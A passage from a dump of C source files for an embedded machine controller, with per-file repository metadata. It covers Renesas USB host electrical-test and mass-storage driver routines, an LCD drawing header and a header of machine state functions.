uint16_t port : port number.\nReturn value : none\n******************************************************************************/\nvoid usb_hstd_TestStop(USB_UTR_t *ptr, uint16_t port)\n{\n /* USBRST=0, RESUME=0, UACT=1 */\n usb_hstd_SetUact(ptr, port);\n}/* eof usb_hstd_TestStop() */\n\n/******************************************************************************\nFunction Name : usb_hstd_TestSignal\nDescription : Host electrical test signal control.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t port : port number\n : uint16_t command : command\nReturn value : none\n******************************************************************************/\nvoid usb_hstd_TestSignal(USB_UTR_t *ptr, uint16_t port, uint16_t command)\n{\n/* Condition compilation by the difference of user define */\n#if ((( USB_FUNCSEL_USBIP0_PP == USB_HOST_PP) && (USB0_IPTYPE_PP == USB_HS_PP))\\\n ||(( USB_FUNCSEL_USBIP1_PP == USB_HOST_PP) && (USB1_IPTYPE_PP == USB_HS_PP)))\n uint16_t buff;\n\n switch( command )\n {\n case 1: buff = USB_H_TST_J; break;\n case 2: buff = USB_H_TST_K; break;\n case 3: buff = USB_H_TST_SE0_NAK; break;\n case 4: buff = USB_H_TST_PACKET; break;\n\n default:\n buff = USB_H_TST_NORMAL;\n usb_creg_set_utst( ptr, buff );\n usb_cstd_SwReset(ptr);\n break;\n }\n\n usb_hstd_TestUactControl(ptr, port, (uint16_t)USB_UACTOFF);\n usb_creg_set_utst( ptr, buff );\n usb_hstd_TestUactControl(ptr, port, (uint16_t)USB_UACTON);\n#endif /* USB0_IPTYPE_PP == USB_HS_PP || USB1_IPTYPE_PP == USB_HS_PP */\n}/* eof usb_hstd_TestSignal() */\n\n/******************************************************************************\nFunction Name : usb_hstd_TestUactControl\nDescription : Host electrical test SOF control.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t port : port number\n : uint16_t command : USB_UACTON / OFF\nReturn value : none\n******************************************************************************/\nvoid usb_hstd_TestUactControl(USB_UTR_t *ptr, uint16_t port, uint16_t command)\n{\n\n if( command == USB_UACTON )\n {\n /* SOF out disable */\n usb_hreg_set_uact( ptr, port );\n }\n else\n {\n /* SOF out disable */\n usb_hreg_clr_uact( ptr, port );\n }\n /* Wait 1ms */\n usb_cpu_DelayXms((uint16_t)1);\n}/* eof usb_hstd_TestUactControl() */\n\n/******************************************************************************\nFunction Name : usb_hstd_TestVbusControl\nDescription : Host electrical test VBUS control.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t port : port number\n : uint16_t command : USB_UACTON / OFF\nReturn value : none\n******************************************************************************/\nvoid usb_hstd_TestVbusControl(USB_UTR_t *ptr, uint16_t port, uint16_t command)\n{\n if( command == USB_VBON )\n {\n /* VBUS on */\n usb_creg_set_vbout( ptr, port );\n }\n else\n {\n /* VBUS off */\n usb_creg_clr_vbout( ptr, port );\n }\n /* Wait 1ms */\n usb_cpu_DelayXms((uint16_t)1);\n}/* eof usb_hstd_TestVbusControl() */\n\n/******************************************************************************\nFunction Name : usb_hstd_TestBusReset\nDescription : Host electrical test USB-reset signal control.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t port : port number\nReturn value : none\n******************************************************************************/\nvoid usb_hstd_TestBusReset(USB_UTR_t *ptr, uint16_t port)\n{\n /* USBRST=1, UACT=0 */\n usb_creg_rmw_dvstctr( ptr, port, USB_USBRST, (USB_USBRST | USB_UACT) );\n\n /* Wait 50ms */\n usb_cpu_DelayXms((uint16_t)50);\n /* USBRST=0 */\n usb_creg_clr_dvstctr( ptr, USB_PORT0, USB_USBRST ); //for UTMI\n usb_cpu_Delay1us( 300 ); //for UTMI\n\n /* USBRST=0, RESUME=0, UACT=1 */\n usb_hstd_SetUact(ptr, port);\n /* Wait 10ms or more (USB reset recovery) */\n usb_cpu_DelayXms((uint16_t)20);\n}/* eof usb_hstd_TestBusReset() */\n\n/******************************************************************************\nFunction Name : usb_hstd_TestSuspend\nDescription : Host electrical test suspend control.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t port : port number\nReturn value : none\n******************************************************************************/\nvoid usb_hstd_TestSuspend(USB_UTR_t *ptr, uint16_t port)\n{\n /* SOF out disable */\n usb_hreg_clr_uact( ptr, port );\n /* Wait 1ms */\n usb_cpu_DelayXms((uint16_t)1);\n}/* eof usb_hstd_TestSuspend() */\n\n/******************************************************************************\nFunction Name : usb_hstd_TestResume\nDescription : Host electrical test resume control.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t port : port number\nReturn value : none\n******************************************************************************/\nvoid usb_hstd_TestResume(USB_UTR_t *ptr, uint16_t port)\n{\n /* RESUME bit on */\n usb_hreg_set_resume( ptr, port );\n /* Wait */\n usb_cpu_DelayXms((uint16_t)20);\n /* RESUME bit off */\n usb_hreg_clr_resume( ptr, port );\n /* SOF on */\n usb_hreg_set_uact( ptr, port );\n}/* eof usb_hstd_TestResume() */\n\n#endif /* (USB_FUNCSEL_USBIP0_PP == USB_HOST_PP) || (USB_FUNCSEL_USBIP1_PP == USB_HOST_PP) */\n\n/******************************************************************************\nEnd of file\n******************************************************************************/\n" }, { "alpha_fraction": 0.7090663313865662, "alphanum_fraction": 0.732746958732605, "avg_line_length": 35.04878234863281, "blob_id": "73d5439228e785d56ec283c2d2b8c945487f315e", "content_id": "0842b1de4acaefa20692c2d374735d086b36620d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1478, "license_type": "no_license", "max_line_length": 132, "num_lines": 41, "path": "/src/include/lcd.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * lcd.h\n *\n * Define some methods to handle lcd drawing\n *\n * Created on: Oct 27, 2015\n * Author: Fernando\n */\n\n#ifndef INCLUDE_LCD_H_\n#define INCLUDE_LCD_H_\n\n#include \"FreeRTOS.h\"\n#include \"u8g.h\"\n\n#define MAX_ROW\t6\n#define MAX_COLUMN\t20\n\n#define SCREEN_HEADER_ID\t0\n#define SCREEN_MAIN_ID\t\t1\n#define SCREEN_FOOTER_ID\t2\n\n#define BACKGROUND_NORMAL\t0\n#define BACKGROUND_INVERTED\t1\n#define BACKGROUND_FRAMED\t2\n#define BACKGROUND_FRAMED_2\t3\n\nextern void ut_lcd_init();\nextern void ut_lcd_clear();\nextern void ut_lcd_clear_str();\nextern void ut_lcd_drawString(uint8_t line, uint8_t column, const char* text, uint8_t invert);\nextern void ut_lcd_drawStr(uint8_t line, uint8_t column, const char* text, uint8_t invert, uint8_t lineMarked, const uint8_t* font);\nextern void ut_lcd_output();\nextern void ut_lcd_output_str();\nextern void ut_lcd_bitmap(uint8_t x, uint8_t y, uint8_t w, uint8_t h, const uint8_t *bitmap,const char* str);\nextern void ut_lcd_output_mov_mode(bool torch, char* title[6],const char* textX,const char* textY,const char* textZ);\nextern void ut_lcd_output_plasma_mode(bool torch, char* title[6],const char* textX,const char* textY,const char* textZ);\nextern void ut_lcd_output_manual_mode(bool torch, char* title[7],const char* textX,const char* textY,const char* textZ);\nextern void ut_lcd_output_int_var(const char* title,const char* varStr, uint8_t blinkpos, bool blink);\nextern void ut_lcd_output_warning(const char* Str);\n#endif /* INCLUDE_LCD_H_ */\n" }, { "alpha_fraction": 0.7036535739898682, "alphanum_fraction": 0.7374830842018127, "avg_line_length": 22.09375, "blob_id": "8e222392c31036097b95b4acf262bdda16916b6d", "content_id": "e15df43ac9bb196353d2d3635db774237f77e7f0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 739, "license_type": "no_license", "max_line_length": 42, "num_lines": 32, "path": "/src/include/state_functions.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * state_functions.h\n *\n * Created on: 30/04/2016\n * Author: leocafonso\n */\n\n#ifndef INCLUDE_STATE_FUNCTIONS_H_\n#define INCLUDE_STATE_FUNCTIONS_H_\n\n#include \"eeprom.h\"\n\nextern uint32_t LineM5;\nextern float selecionarLinhas;\n\nuint32_t selecionarlinhasMax(void);\nvoid selecionarlinhas(void);\nchar** selecionarLinhatexto(void);\nvoid linhaSelecionada(uint32_t flag);\n\nvoid zerar_maquina(void *var);\nvoid zerar_peca(void *var);\nvoid homming_eixos(void *var);\nvoid testar_peca(void *var);\nvoid mem_format(void *var);\nuint32_t delay_esc(uint32_t timems);\nuint32_t delay_esc_enter(uint32_t timems);\nuint8_t get_dec_digits(float fnum);\nuint8_t get_decimal_digits(float fnum);\nvoid idle(void *var);\n\n#endif /* INCLUDE_STATE_FUNCTIONS_H_ */\n" }, { "alpha_fraction": 0.49630048871040344, "alphanum_fraction": 0.5075910687446594, "avg_line_length": 36.00432586669922, "blob_id": "f00c859e48ffb12661146bd7d9be7a8f7689db05", "content_id": "c1af3744a3c1e9f672d1b64872c0272010fd8491", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 59873, "license_type": "no_license", "max_line_length": 120, "num_lines": 1618, "path": "/r_usb_hmsc/src/r_usb_hmsc_driver.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_hmsc_driver.c\n* Description : USB Host MSC BOT driver\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n* : 30.01.2015 1.01 Support Multi device.\n***********************************************************************************************************************/\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n#include \"r_usb_basic_if.h\"\n#include \"r_usb_hatapi_define.h\" /* Peripheral ATAPI Device extern */\n#include \"r_usb_hmsc_define.h\" /* Host Mass Storage Class Driver */\n#include \"r_usb_hmsc_extern.h\" /* Host MSC grobal define */\n#include \"r_usb_api.h\"\n#include \"r_usb_hmsc_config.h\"\n#include \"r_usb_hmsc_if.h\"\n\n#ifdef FREE_RTOS_PP\n#include \"FreeRTOS.h\"\n#include \"task.h\"\n#endif\n\n/******************************************************************************\nPrivate global variables and functions\n******************************************************************************/\nuint16_t usb_ghmsc_DefEpTbl[USB_NUM_USBIP][USB_EPL+1] =\n{\n { /* USB IP No.0 */\n USB_NONE,\n USB_NONE,\n USB_NONE,\n USB_NONE,\n USB_NONE,\n USB_NONE,\n USB_PDTBLEND /* Pipe end */\n },\n { /* USB IP No.1 */\n USB_NONE,\n USB_NONE,\n USB_NONE,\n USB_NONE,\n USB_NONE,\n USB_NONE,\n USB_PDTBLEND /* Pipe end */\n }\n};\n\nuint8_t usb_ghmsc_Data[USB_NUM_USBIP][5120];\nUSB_UTR_t usb_ghmsc_TransData[USB_NUM_USBIP][USB_MAXSTRAGE]; /* Send data transfer message */\nUSB_UTR_t usb_ghmsc_ReceiveData[USB_NUM_USBIP][USB_MAXSTRAGE]; /* Receive data transfer message */\nUSB_UTR_t usb_ghmsc_ControlData[USB_NUM_USBIP]; /* Control data transfer message */\nuint16_t usb_ghmsc_OutPipe[USB_NUM_USBIP][USB_MAXSTRAGE][2]; /* Pipenumber / Pipectr(SQTGL) */\nuint16_t usb_ghmsc_InPipe[USB_NUM_USBIP][USB_MAXSTRAGE][2]; /* Pipenumber / Pipectr(SQTGL) */\nuint16_t usb_shmsc_MsgNum[USB_NUM_USBIP];\nUSB_MSC_CBW_t usb_ghmsc_Cbw[USB_NUM_USBIP][USB_MAXSTRAGE]; /* CBW headder */\nUSB_MSC_CSW_t usb_ghmsc_Csw[USB_NUM_USBIP][USB_MAXSTRAGE]; /* CSW headder */\nuint32_t usb_ghmsc_CbwTagNo[USB_NUM_USBIP][USB_MAXSTRAGE]; /* CBW tag number */\nuint8_t usb_ghmsc_AtapiFlag[USB_NUM_USBIP][USB_MAXSTRAGE];\nuint16_t usb_ghmsc_AttSts[USB_MAXSTRAGE];\nuint32_t usb_ghmsc_TransSize[USB_NUM_USBIP];\nuint8_t *usb_ghmsc_Buff[USB_NUM_USBIP];\nuint16_t usb_shmsc_Process[USB_NUM_USBIP];\nuint16_t usb_shmsc_NoDataSeq[USB_NUM_USBIP] = { USB_SEQ_0, USB_SEQ_0 };\nuint16_t usb_shmsc_DataInSeq[USB_NUM_USBIP] = { USB_SEQ_0, USB_SEQ_0 };\nuint16_t usb_shmsc_DataOutSeq[USB_NUM_USBIP] = { USB_SEQ_0, USB_SEQ_0 };\nuint16_t usb_shmsc_StallErrSeq[USB_NUM_USBIP] = { USB_SEQ_0, USB_SEQ_0 };\nuint16_t usb_shmsc_DataStallSeq[USB_NUM_USBIP] = { USB_SEQ_0, USB_SEQ_0 };\nuint16_t usb_ghmsc_RootDrive[USB_NUM_USBIP];\nuint16_t usb_ghmsc_CswErrRoop[USB_NUM_USBIP] = { USB_OFF, USB_OFF };\nuint16_t usb_ghmsc_drive_no[USB_NUM_USBIP][USB_MAXDEVADDR];\nDRIVE_MANAGEMENT_t usb_ghmsc_drv_no_tbl[USB_DEVICENUM]; /* Drive no. management table */\n\nuint8_t *usb_ghmsc_DeviceTable[USB_NUM_USBIP];\nuint8_t *usb_ghmsc_ConfigTable[USB_NUM_USBIP];\nuint8_t *usb_ghmsc_InterfaceTable[USB_NUM_USBIP];\nuint16_t usb_ghmsc_Speed[USB_NUM_USBIP];\nuint16_t usb_ghmsc_Devaddr[USB_NUM_USBIP];\nuint16_t usb_shmsc_InitSeq[USB_NUM_USBIP] = { USB_SEQ_0, USB_SEQ_0 };\nuint16_t *usb_ghmsc_PipeTable[USB_NUM_USBIP]; /* Pipe Table(DefEP) */\n\n/*----------------*/\n/* Storage Driver */\n/*----------------*/\nUSB_UTR_t usb_shmsc_ClassControl[USB_NUM_USBIP];\nUSB_CB_t usb_shmsc_command_result[USB_NUM_USBIP];\nuint16_t usb_ghmsc_DriveChk[USB_MAXDRIVE + 1][6];\nuint16_t usb_shmsc_ClassRequest[USB_NUM_USBIP][5];\nuint8_t usb_shmsc_DeviceReady[USB_MAXUNITNUM];\nuint8_t usb_ghmsc_ClassData[USB_NUM_USBIP][USB_HMSC_CLSDATASIZE];\n\n/* Yes/No, Unit Number, Partition Number, device address, EPtbl offset */\nuint32_t usb_ghmsc_MaxLUN[USB_NUM_USBIP];\nuint16_t usb_ghmsc_StrgCount;\nuint16_t usb_ghmsc_MaxDrive;\nuint16_t usb_shmsc_StrgProcess[USB_NUM_USBIP] = { USB_NONE, USB_NONE };\nuint16_t usb_shmsc_StrgDriveSearchSeq[USB_NUM_USBIP] = { USB_SEQ_0, USB_SEQ_0 };\nuint16_t usb_shmsc_StrgDriveSearchErrCount[USB_NUM_USBIP] = { USB_SEQ_0, USB_SEQ_0 };\nuint16_t usb_shmsc_StrgDriveSearchCount[USB_NUM_USBIP] = { USB_SEQ_0, USB_SEQ_0 };\n\n/* Read Sector */\nuint16_t usb_shmsc_DevReadSectorSizeSeq[USB_NUM_USBIP] = { USB_SEQ_0, USB_SEQ_0 };\nuint16_t usb_shmsc_DevReadSectorSizeErrCount[USB_NUM_USBIP] = { USB_SEQ_0, USB_SEQ_0 };\nuint16_t usb_shmsc_DevReadPartitionSeq[USB_NUM_USBIP] = { USB_SEQ_0, USB_SEQ_0 };\n\n/* Drive Open */\nuint16_t usb_shmsc_StrgDriveOpenSeq[USB_NUM_USBIP] = { USB_SEQ_0, USB_SEQ_0 };\nuint16_t usb_shmsc_StrgDriveOpenCount[USB_NUM_USBIP] = { USB_SEQ_0, USB_SEQ_0 };\nuint16_t usb_shmsc_StrgDriveOpenParCount[USB_NUM_USBIP] = { USB_SEQ_0, USB_SEQ_0 };\n\n/* Partition */\nuint32_t usb_shmsc_PartitionLba[USB_NUM_USBIP][USB_BOOTPARTNUM + 1u];\nuint16_t usb_ghmsc_RootDevaddr[USB_NUM_USBIP];\nuint16_t usb_shmsc_NewDrive[USB_NUM_USBIP];\nuint16_t usb_shmsc_LoopCont[USB_NUM_USBIP] = { USB_SEQ_0, USB_SEQ_0 };\nuint16_t usb_shmsc_Unit[USB_NUM_USBIP];\nuint16_t usb_ghmsc_PartTransSize[USB_NUM_USBIP];\nuint8_t usb_shmsc_PartitionInfo[USB_NUM_USBIP][USB_BOOTPARTNUM];\n\n\n/******************************************************************************\nRenesas Abstracted HMSC Driver functions\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hmsc_Task\nDescription : USB HMSC Task\nArguments : none\nReturn value : none\n******************************************************************************/\nvoid usb_hmsc_Task(void)\n{\n USB_UTR_t *mess;\n /* Error code */\n USB_ER_t err;\n#ifdef FREE_RTOS_PP\n for( ;; )\n\t{\n#endif\n /* Receive message */\n err = R_USB_TRCV_MSG( USB_HMSC_MBX, (USB_MSG_t**)&mess, (uint16_t)0 );\n if( err != USB_E_OK )\n {\n#ifdef FREE_RTOS_PP\n\t\tcontinue;\n#else\n return;\n#endif\n }\n\n switch( mess->msginfo )\n {\n case USB_MSG_CLS_INIT:\n usb_hmsc_ClassCheck(mess, (USB_CLSINFO_t *)mess);\n break;\n\n case USB_MSG_HMSC_NO_DATA:\n usb_hmsc_NoDataAct((USB_CLSINFO_t *)mess);\n break;\n case USB_MSG_HMSC_DATA_IN:\n usb_hmsc_DataInAct((USB_CLSINFO_t *)mess);\n break;\n case USB_MSG_HMSC_DATA_OUT:\n usb_hmsc_DataOutAct((USB_CLSINFO_t *)mess);\n break;\n case USB_MSG_HMSC_DATA_STALL:\n usb_hmsc_DataStall((USB_UTR_t *)mess);\n break;\n case USB_MSG_HMSC_CBW_ERR:\n usb_hmsc_StallErr((USB_UTR_t *)mess);\n break; \n case USB_MSG_HMSC_CSW_PHASE_ERR:\n usb_hmsc_StallErr((USB_UTR_t *)mess);\n break;\n/* enumeration waiting of other device */\n case USB_MSG_CLS_WAIT:\n usb_hmsc_ClassWait(USB_HMSC_MBX, mess);\n break;\n default:\n break;\n }\n err = R_USB_REL_BLK(USB_HMSC_MPL,(USB_MH_t)mess);\n if( err != USB_E_OK )\n {\n USB_PRINTF0(\"### USB Strg Task rel_blk error\\n\");\n }\n#ifdef FREE_RTOS_PP\n\t}\n#endif\n} /* eof usb_hmsc_Task() */\n\n\n/******************************************************************************\nFunction Name : usb_hmsc_SetRwCbw\nDescription : CBW parameter initialization for the READ10/WRITE10 command\nArguments : uint16_t command : \n : uint32_t secno : \n : uint16_t seccnt : \n : uint32_t trans_byte : \n : uint16_t side : \nReturn value : none\n******************************************************************************/\nvoid usb_hmsc_SetRwCbw(USB_UTR_t *ptr, uint16_t command, uint32_t secno, uint16_t seccnt,\n uint32_t trans_byte, uint16_t side)\n{\n uint16_t msgnum;\n\n /* Data IN */\n msgnum = usb_hmsc_SmpDrive2Msgnum(ptr, side);\n if( USB_ERROR == msgnum )\n {\n return;\n }\n\n /* CBW parameter set */\n usb_ghmsc_Cbw[ptr->ip][msgnum].dCBWTag = usb_ghmsc_CbwTagNo[ptr->ip][msgnum];\n usb_ghmsc_Cbw[ptr->ip][msgnum].dCBWDTL_Lo = (uint8_t)trans_byte;\n usb_ghmsc_Cbw[ptr->ip][msgnum].dCBWDTL_ML = (uint8_t)(trans_byte >> 8);\n usb_ghmsc_Cbw[ptr->ip][msgnum].dCBWDTL_MH = (uint8_t)(trans_byte >> 16);\n usb_ghmsc_Cbw[ptr->ip][msgnum].dCBWDTL_Hi = (uint8_t)(trans_byte >> 24);\n usb_ghmsc_Cbw[ptr->ip][msgnum].bmCBWFlags.CBWdir = 0;\n usb_ghmsc_Cbw[ptr->ip][msgnum].bmCBWFlags.reserved7 = 0;\n usb_ghmsc_Cbw[ptr->ip][msgnum].bCBWLUN.bCBWLUN = usb_hmsc_SmpDrive2Unit(ptr, side);\n usb_ghmsc_Cbw[ptr->ip][msgnum].bCBWLUN.reserved4 = 0;\n usb_ghmsc_Cbw[ptr->ip][msgnum].bCBWCBLength.bCBWCBLength = 0;\n usb_ghmsc_Cbw[ptr->ip][msgnum].bCBWCBLength.reserved3 = 0;\n\n /* ATAPI_COMMAND */\n usb_ghmsc_Cbw[ptr->ip][msgnum].CBWCB[0] = (uint8_t)command;\n /* LUN */\n usb_ghmsc_Cbw[ptr->ip][msgnum].CBWCB[1] = 0x00;\n /* sector address */\n usb_ghmsc_Cbw[ptr->ip][msgnum].CBWCB[2] = (uint8_t)(secno >> 24);\n usb_ghmsc_Cbw[ptr->ip][msgnum].CBWCB[3] = (uint8_t)(secno >> 16);\n usb_ghmsc_Cbw[ptr->ip][msgnum].CBWCB[4] = (uint8_t)(secno >> 8);\n usb_ghmsc_Cbw[ptr->ip][msgnum].CBWCB[5] = (uint8_t)secno;\n /* Reserved */\n usb_ghmsc_Cbw[ptr->ip][msgnum].CBWCB[6] = 0x00;\n /* Sector length */\n usb_ghmsc_Cbw[ptr->ip][msgnum].CBWCB[7] = (uint8_t)(seccnt >> 8);\n /* Block address */\n usb_ghmsc_Cbw[ptr->ip][msgnum].CBWCB[8] = (uint8_t)seccnt;\n /* Control data */\n usb_ghmsc_Cbw[ptr->ip][msgnum].CBWCB[9] = (uint8_t)0x00;\n\n /* ATAPI command check */\n switch( command )\n {\n case USB_ATAPI_TEST_UNIT_READY:\n case USB_ATAPI_REQUEST_SENSE:\n case USB_ATAPI_INQUIRY:\n case USB_ATAPI_MODE_SELECT6:\n case USB_ATAPI_MODE_SENSE6:\n case USB_ATAPI_START_STOP_UNIT:\n case USB_ATAPI_PREVENT_ALLOW:\n case USB_ATAPI_READ_FORMAT_CAPACITY:\n case USB_ATAPI_READ_CAPACITY:\n USB_PRINTF0(\"### Non-mounted command demand generating !\\n\");\n break;\n /* Initialized READ CBW TAG */\n case USB_ATAPI_READ10:\n usb_ghmsc_Cbw[ptr->ip][msgnum].bmCBWFlags.CBWdir = 1;\n /* 10bytes */\n usb_ghmsc_Cbw[ptr->ip][msgnum].bCBWCBLength.bCBWCBLength = 10;\n break;\n /* Initialized WRITE CBW TAG */\n case USB_ATAPI_WRITE10:\n usb_ghmsc_Cbw[ptr->ip][msgnum].bmCBWFlags.CBWdir = 0;\n /* 10bytes */\n usb_ghmsc_Cbw[ptr->ip][msgnum].bCBWCBLength.bCBWCBLength = 10;\n break;\n case USB_ATAPI_SEEK:\n case USB_ATAPI_WRITE_AND_VERIFY:\n case USB_ATAPI_VERIFY10:\n case USB_ATAPI_MODE_SELECT10:\n case USB_ATAPI_MODE_SENSE10:\n default:\n USB_PRINTF0(\"### Non-mounted command demand generating !\\n\");\n break;\n }\n\n if( usb_ghmsc_AtapiFlag[ptr->ip][msgnum] == USB_ATAPI )\n {\n /* 12bytes */\n usb_ghmsc_Cbw[ptr->ip][msgnum].bCBWCBLength.bCBWCBLength\n = USB_MSC_CBWCB_LENGTH;\n }\n} /* eof usb_hmsc_SetRwCbw() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_SetElsCbw\nDescription : CBW parameter initialization for other commands\nArguments : uint8_t *data : \n : uint32_t trans_byte : \n : uint16_t side : \nReturn value : none\n******************************************************************************/\nvoid usb_hmsc_SetElsCbw(USB_UTR_t *ptr, uint8_t *data, uint32_t trans_byte, uint16_t side)\n{\n uint8_t i;\n uint16_t msgnum;\n\n /* Data IN */\n msgnum = usb_hmsc_SmpDrive2Msgnum(ptr, side);\n if( USB_ERROR == msgnum )\n {\n return;\n }\n\n /* CBW parameter set */\n usb_ghmsc_Cbw[ptr->ip][msgnum].dCBWTag = usb_ghmsc_CbwTagNo[ptr->ip][msgnum];\n usb_ghmsc_Cbw[ptr->ip][msgnum].dCBWDTL_Lo = (uint8_t)trans_byte;\n usb_ghmsc_Cbw[ptr->ip][msgnum].dCBWDTL_ML = (uint8_t)(trans_byte >> 8);\n usb_ghmsc_Cbw[ptr->ip][msgnum].dCBWDTL_MH = (uint8_t)(trans_byte >> 16);\n usb_ghmsc_Cbw[ptr->ip][msgnum].dCBWDTL_Hi = (uint8_t)(trans_byte >> 24);\n /* Receive */\n usb_ghmsc_Cbw[ptr->ip][msgnum].bmCBWFlags.CBWdir = 0;\n usb_ghmsc_Cbw[ptr->ip][msgnum].bmCBWFlags.reserved7 = 0;\n usb_ghmsc_Cbw[ptr->ip][msgnum].bCBWLUN.bCBWLUN = usb_hmsc_SmpDrive2Unit(ptr, side);\n usb_ghmsc_Cbw[ptr->ip][msgnum].bCBWLUN.reserved4 = 0;\n usb_ghmsc_Cbw[ptr->ip][msgnum].bCBWCBLength.reserved3 = 0;\n\n for( i = 0; i < 12; i++ )\n {\n usb_ghmsc_Cbw[ptr->ip][msgnum].CBWCB[i] = data[i];\n }\n\n /* ATAPI command check */\n switch( data[0] )\n {\n /* No data */\n case USB_ATAPI_TEST_UNIT_READY:\n usb_ghmsc_Cbw[ptr->ip][msgnum].bCBWCBLength.bCBWCBLength = 6;\n break;\n /* Receive */\n case USB_ATAPI_REQUEST_SENSE:\n usb_ghmsc_Cbw[ptr->ip][msgnum].bmCBWFlags.CBWdir = 1;\n usb_ghmsc_Cbw[ptr->ip][msgnum].bCBWCBLength.bCBWCBLength = 6;\n break;\n /* Send */\n case USB_ATAPI_FORMAT_UNIT:\n USB_PRINTF0(\"### Non-mounted command demand generating !\\n\");\n break;\n /* Receive */\n case USB_ATAPI_INQUIRY:\n usb_ghmsc_Cbw[ptr->ip][msgnum].bmCBWFlags.CBWdir = 1;\n usb_ghmsc_Cbw[ptr->ip][msgnum].bCBWCBLength.bCBWCBLength = 6;\n break;\n case USB_ATAPI_MODE_SELECT6:\n case USB_ATAPI_MODE_SENSE6:\n break;\n /* No data */\n case USB_ATAPI_START_STOP_UNIT:\n usb_ghmsc_Cbw[ptr->ip][msgnum].bCBWCBLength.bCBWCBLength = 6;\n break;\n /* No data */\n case USB_ATAPI_PREVENT_ALLOW:\n usb_ghmsc_Cbw[ptr->ip][msgnum].bCBWCBLength.bCBWCBLength = 6;\n break;\n /* Receive */\n case USB_ATAPI_READ_FORMAT_CAPACITY:\n usb_ghmsc_Cbw[ptr->ip][msgnum].bmCBWFlags.CBWdir = 1;\n usb_ghmsc_Cbw[ptr->ip][msgnum].bCBWCBLength.bCBWCBLength = 10;\n break;\n /* Receive */\n case USB_ATAPI_READ_CAPACITY:\n usb_ghmsc_Cbw[ptr->ip][msgnum].bmCBWFlags.CBWdir = 1;\n usb_ghmsc_Cbw[ptr->ip][msgnum].bCBWCBLength.bCBWCBLength = 10;\n break;\n case USB_ATAPI_READ10:\n case USB_ATAPI_WRITE10:\n USB_PRINTF0(\"### Non-mounted command demand generating !\\n\");\n break;\n case USB_ATAPI_SEEK:\n case USB_ATAPI_WRITE_AND_VERIFY:\n case USB_ATAPI_VERIFY10:\n USB_PRINTF0(\"### Non-mounted command demand generating !\\n\");\n break;\n /* Send */\n case USB_ATAPI_MODE_SELECT10:\n USB_PRINTF0(\"### Non-mounted command demand generating !\\n\");\n break;\n /* Receive */\n case USB_ATAPI_MODE_SENSE10:\n usb_ghmsc_Cbw[ptr->ip][msgnum].bmCBWFlags.CBWdir = 1;\n usb_ghmsc_Cbw[ptr->ip][msgnum].bCBWCBLength.bCBWCBLength = 10;\n break;\n default:\n USB_PRINTF0(\"### Non-mounted command demand generating !\\n\");\n break;\n }\n\n if( usb_ghmsc_AtapiFlag[ptr->ip][msgnum] == USB_ATAPI )\n {\n /* 12bytes */\n usb_ghmsc_Cbw[ptr->ip][msgnum].bCBWCBLength.bCBWCBLength\n = USB_MSC_CBWCB_LENGTH;\n }\n} /* eof usb_hmsc_SetElsCbw() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_CbwTagCount\nDescription : Updates tag information\nArguments : uint16_t msgnum : \nReturn value : none\n******************************************************************************/\nvoid usb_hmsc_CbwTagCount(USB_UTR_t *ptr, uint16_t msgnum)\n{\n usb_ghmsc_CbwTagNo[ptr->ip][msgnum]++;\n if( usb_ghmsc_CbwTagNo[ptr->ip][msgnum] == (uint16_t)0 )\n {\n usb_ghmsc_CbwTagNo[ptr->ip][msgnum] = (uint16_t)1;\n }\n} /* eof usb_hmsc_CbwTagCount() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_CheckCsw\nDescription : CSW check\nArguments : uint16_t drvnum : \nReturn value : uint16_t : \n******************************************************************************/\nuint16_t usb_hmsc_CheckCsw(USB_UTR_t *ptr, uint16_t drvnum)\n{\n uint16_t msgnum;\n USB_CLSINFO_t *mess;\n \n msgnum = usb_hmsc_SmpDrive2Msgnum(ptr, drvnum);\n if( USB_ERROR == msgnum )\n {\n USB_HMSC_CSW_ERR;\n 